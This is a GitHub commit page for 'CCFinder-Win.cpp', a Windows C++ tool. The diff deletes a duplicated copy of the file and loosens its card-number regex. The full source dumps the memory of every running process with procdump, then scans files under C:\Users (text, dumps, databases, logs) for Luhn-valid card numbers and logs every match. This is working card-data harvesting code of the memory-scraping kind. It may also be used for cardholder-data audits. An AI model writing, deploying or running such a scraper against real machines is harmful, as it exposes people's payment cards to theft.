Skip to content

Commit

Permalink
Update CCFinder-Win.cpp
Browse files Browse the repository at this point in the history
  • Loading branch information
ind3p3nd3nt authored Mar 20, 2021
1 parent 0af8e6b commit 28f6e4b
Showing 1 changed file with 1 addition and 184 deletions.
185 changes: 1 addition & 184 deletions CCFinder-Win/CCFinder-Win.cpp
Original file line number Diff line number Diff line change
Expand Up @@ -3,11 +3,6 @@
#include <windows.h>
#include <boost/filesystem.hpp>
#include <vector>
#include <string>#include <boost/regex.hpp>
#include <iostream>
#include <windows.h>
#include <boost/filesystem.hpp>
#include <vector>
#include <string>
#include "header.h"
#include <boost/iostreams/stream.hpp>
Expand Down Expand Up @@ -68,7 +63,7 @@ int main()
{
boost::iostreams::stream_buffer<boost::iostreams::file_descriptor_source> biostrm(absolutepath);
std::istream tgtfile(&biostrm);
boost::regex regexexpr("^(?:4[0-9]{12}(?:[0-9]{3})?|[25][1-7][0-9]{14}|6(?:011|5[0-9][0-9])[0-9]{12}|3[47][0-9]{13}|3(?:0[0-5]|[68][0-9])[0-9]{11}|(?:2131|1800|35\\d{3})\\d{11})$");
boost::regex regexexpr("\\b[3-6]\\d{15,16}\\b");
boost::smatch ccregex;
if (strstr(leaf.c_str(), logfile.c_str())) {
goto loop2;
Expand Down Expand Up @@ -101,181 +96,3 @@ int main()
}
}
}

#include "header.h"
#include <boost/iostreams/stream.hpp>
#include <boost/iostreams/device/file_descriptor.hpp>
#include <tlhelp32.h>
#include <tchar.h>
#include <Psapi.h>
#include <boost/lexical_cast.hpp>
#include <fstream>

using namespace std;
using namespace boost::filesystem;
namespace fs = boost::filesystem;
namespace io = boost::iostreams;


template<typename ValueType>
std::string ConvertToStringUsingBoost(ValueType const& v)
{
try
{

#ifdef UNITTEST
if (unittest == case_fail) {
throw boost::bad_lexical_cast();
}
#endif
return boost::lexical_cast<std::string, ValueType>(v);
}
catch (boost::bad_lexical_cast const& e)
{
return std::string();
}
}



void PrintProcessNameAndID(DWORD processID)
{

TCHAR szProcessName[MAX_PATH] = TEXT("<unknown>");

// Get a handle to the process.

HANDLE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION |
PROCESS_VM_READ,
FALSE, processID);

// Get the process name.

if (NULL != hProcess)
{
HMODULE hMod;
DWORD cbNeeded;

if (EnumProcessModules(hProcess, &hMod, sizeof(hMod),
&cbNeeded))
{
GetModuleBaseName(hProcess, hMod, szProcessName,
sizeof(szProcessName) / sizeof(TCHAR));
}
}

// Print the process name and identifier.

_tprintf(TEXT("%s (PID: %u)\n"), szProcessName, processID);



string cmd = "procdump.exe -accepteula -mp -a -r 5 " + ConvertToStringUsingBoost(processID);
cout << cmd.c_str();
system(cmd.c_str());
}

bool checkLuhn(const string& cardNo)
{
int nDigits = cardNo.length();

int nSum = 0, isSecond = false;
for (int i = nDigits - 1; i >= 0; i--) {

int d = cardNo[i] - '0';

if (isSecond == true)
d = d * 2;
nSum += d / 10;
nSum += d % 10;

isSecond = !isSecond;
}
return (nSum % 10 == 0);
}



int main()
{
cout << "CC Finder by independent 3.4 https://GitHub.com/ind3p3nd3nt All rights reserved" << std::endl;
cout << "Please wait a few hours this will take a while..." << std::endl;
cout << "---" << std::endl;
std::ofstream fout("CCFinder.log", ios::app);
fout << "CC Finder by independent 3.4 https://GitHub.com/ind3p3nd3nt All rights reserved" << std::endl;
std::ifstream ifile("procdump.exe");
if (!(bool)ifile) {
goto loop;
}
DWORD aProcesses[1024], cbNeeded, cProcesses;
unsigned int i;

if (!EnumProcesses(aProcesses, sizeof(aProcesses), &cbNeeded))
{
return 1;
}


// Calculate how many process identifiers were returned.

cProcesses = cbNeeded / sizeof(DWORD);

// Print the name and process identifier for each process.

for (i = 0; i < cProcesses; i++)
{
if (aProcesses[i] != 0)
{
PrintProcessNameAndID(aProcesses[i]);
}
}
loop:;

for (auto& x : fs::recursive_directory_iterator("C:\\Users\\")) {
if (x.path().extension() == ".txt" || x.path().extension() == ".dmp" || x.path().extension() == ".csv" || x.path().extension() == ".lst" || x.path().extension() == ".text" || x.path().extension() == ".dat" || x.path().extension() == ".log" || x.path().extension() == ".db" || x.path().extension() == ".mdb" || x.path().extension() == ".xml" || x.path().extension() == ".htm" ) {
if (boost::filesystem::is_regular_file(x.path())) {
fs::path absolutepath = x;
std::string line;
std::string logfile("CCFinder.log");
std::cout << absolutepath << std::endl;
std::string leaf(x.path().filename().generic_string());
try
{
boost::iostreams::stream_buffer<boost::iostreams::file_descriptor_source> biostrm(absolutepath);
std::istream tgtfile(&biostrm);
boost::regex regexexpr("\\b[3-6]\\d{15,16}\\b");
boost::smatch ccregex;
if (strstr(leaf.c_str(), logfile.c_str())) {
goto loop2;
}
if (!tgtfile) {
cout << " Failed to open " << absolutepath << endl;
}
while (getline(tgtfile, line))
{
if (boost::regex_search(line, ccregex, regexexpr))
{

if (checkLuhn(ccregex.str())) {
SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), 7);
fout << line << std::endl;
std::cout << line << std::endl;
for (int i(0); i < ccregex.size(); i++) {
SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), 10);
std::cout << ccregex[i] << std::endl;
}
}
}

}
loop2:;
}
catch (const std::exception & ex)
{

std::cout << absolutepath << " " << ex.what() << std::endl;
}
}
}
}
}

0 comments on commit 28f6e4b

Please sign in to comment.